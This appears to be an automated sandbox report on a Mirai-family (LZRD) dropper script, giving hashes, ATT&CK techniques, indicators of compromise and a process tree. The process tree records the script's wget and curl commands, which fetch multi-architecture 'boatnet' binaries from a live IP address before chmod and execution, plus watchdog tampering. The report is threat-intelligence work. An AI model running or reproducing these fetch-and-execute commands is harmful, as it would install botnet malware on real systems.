mirai | 19d701781a24a57e13181d054c7f3a70d3e205ad72be89fd29dcfa3084e5e396

Analysis

max time kernel
139s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03-01-2025 11:36

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General

Target

ohshit.sh
Size

2KB
MD5

dfb20882adc5a8a441e05549d24a2888
SHA1

9cad12bea5d7cdf2c78c5a00b308f25923c59218
SHA256

19d701781a24a57e13181d054c7f3a70d3e205ad72be89fd29dcfa3084e5e396
SHA512

63ff945d55e5560f99d75c99656b03d1ef70a50900c3c8fcb93fa13d63540c11ba14585c78c202ace742fc924f75f01c4acf43141ff1f1f700ad10c8d72f4bb2

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1557	chmod
1575	chmod
1621	chmod
1501	chmod
1533	chmod
1541	chmod
1593	chmod
1603	chmod
1509	chmod
1517	chmod
1525	chmod
1637	chmod
1645	chmod
1549	chmod
1565	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1502	WTF
/tmp/WTF	1510	WTF
/tmp/WTF	1518	WTF
/tmp/WTF	1526	WTF
/tmp/WTF	1534	WTF
/tmp/WTF	1542	WTF
/tmp/WTF	1550	WTF
/tmp/WTF	1558	WTF
/tmp/WTF	1566	WTF
/tmp/WTF	1576	WTF
/tmp/WTF	1594	WTF
/tmp/WTF	1604	WTF
/tmp/WTF	1622	WTF
/tmp/WTF	1638	WTF
/tmp/WTF	1646	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1485/cmdline	WTF
File opened for reading	/proc/1553/cmdline	WTF
File opened for reading	/proc/937/cmdline	WTF
File opened for reading	/proc/1137/cmdline	WTF
File opened for reading	/proc/1136/cmdline	WTF
File opened for reading	/proc/1137/cmdline	WTF
File opened for reading	/proc/1366/cmdline	WTF
File opened for reading	/proc/980/cmdline	WTF
File opened for reading	/proc/1579/cmdline	WTF
File opened for reading	/proc/408/cmdline	WTF
File opened for reading	/proc/409/cmdline	WTF
File opened for reading	/proc/541/cmdline	WTF
File opened for reading	/proc/665/cmdline	WTF
File opened for reading	/proc/1625/cmdline	WTF
File opened for reading	/proc/1625/cmdline	WTF
File opened for reading	/proc/1225/cmdline	WTF
File opened for reading	/proc/1146/cmdline	WTF
File opened for reading	/proc/466/cmdline	WTF
File opened for reading	/proc/515/cmdline	WTF
File opened for reading	/proc/1123/cmdline	WTF
File opened for reading	/proc/1178/cmdline	WTF
File opened for reading	/proc/406/cmdline	WTF
File opened for reading	/proc/583/cmdline	WTF
File opened for reading	/proc/1217/cmdline	WTF
File opened for reading	/proc/1174/cmdline	WTF
File opened for reading	/proc/1165/cmdline	WTF
File opened for reading	/proc/409/cmdline	WTF
File opened for reading	/proc/883/cmdline	WTF
File opened for reading	/proc/1259/cmdline	WTF
File opened for reading	/proc/1329/cmdline	WTF
File opened for reading	/proc/1561/cmdline	WTF
File opened for reading	/proc/1641/cmdline	WTF
File opened for reading	/proc/1486/cmdline	WTF
File opened for reading	/proc/436/cmdline	WTF
File opened for reading	/proc/665/cmdline	WTF
File opened for reading	/proc/667/cmdline	WTF
File opened for reading	/proc/1567/cmdline	WTF
File opened for reading	/proc/1551/cmdline	WTF
File opened for reading	/proc/635/cmdline	WTF
File opened for reading	/proc/1641/cmdline	WTF
File opened for reading	/proc/1649/cmdline	WTF
File opened for reading	/proc/1485/cmdline	WTF
File opened for reading	/proc/1511/cmdline	WTF
File opened for reading	/proc/1037/cmdline	WTF
File opened for reading	/proc/689/cmdline	WTF
File opened for reading	/proc/515/cmdline	WTF
File opened for reading	/proc/583/cmdline	WTF
File opened for reading	/proc/665/cmdline	WTF
File opened for reading	/proc/1529/cmdline	WTF
File opened for reading	/proc/1136/cmdline	WTF
File opened for reading	/proc/667/cmdline	WTF
File opened for reading	/proc/985/cmdline	WTF
File opened for reading	/proc/1002/cmdline	WTF
File opened for reading	/proc/953/cmdline	WTF
File opened for reading	/proc/1535/cmdline	WTF
File opened for reading	/proc/1298/cmdline	WTF
File opened for reading	/proc/1050/cmdline	WTF
File opened for reading	/proc/980/cmdline	WTF
File opened for reading	/proc/408/cmdline	WTF
File opened for reading	/proc/1242/cmdline	WTF
File opened for reading	/proc/1050/cmdline	WTF
File opened for reading	/proc/1607/cmdline	WTF
File opened for reading	/proc/669/cmdline	WTF
File opened for reading	/proc/1307/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1506	wget
1507	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.sh4	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1493
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1494
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1500
- /bin/chmod
  chmod +x boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1501
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1502
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1506
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1507
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1510
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1518
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.i468
  2⤵
  PID:1522
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1526
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.i686
  2⤵
  PID:1530
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1534
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.x86_64
  2⤵
  PID:1538
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1542
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1546
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1550
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1554
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1555
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1558
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1562
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1566
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1570
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1576
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1580
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1587
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-jtIqBK systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1594
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1598
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1603
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1604
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1608
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1615
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-TyhWJf systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1622
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1626
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1633
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1637
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1638
- /usr/bin/wget
  wget http://154.216.18.23/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1642
- /usr/bin/curl
  curl -O http://154.216.18.23/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1643
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-2LkqN5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1645
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1646

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
28KB

MD5
eae146a902f2fe0cfaf85240434db7c6

SHA1
f0d8349f832c17eafbc17adb648a5f104b008309

SHA256
b48028f95d683e1dd1ab7b71f8d18c0b0ae27eecb13535fa846cb4b8be455610

SHA512
4ec3bc79b2592f517cc42c4990e725d6ccc8e14b9b69f26de0cee032d7872f1956c3e6f9821cc95cbef4a768151b924cc2bab07e42b89e353ef6bea0afc65e40

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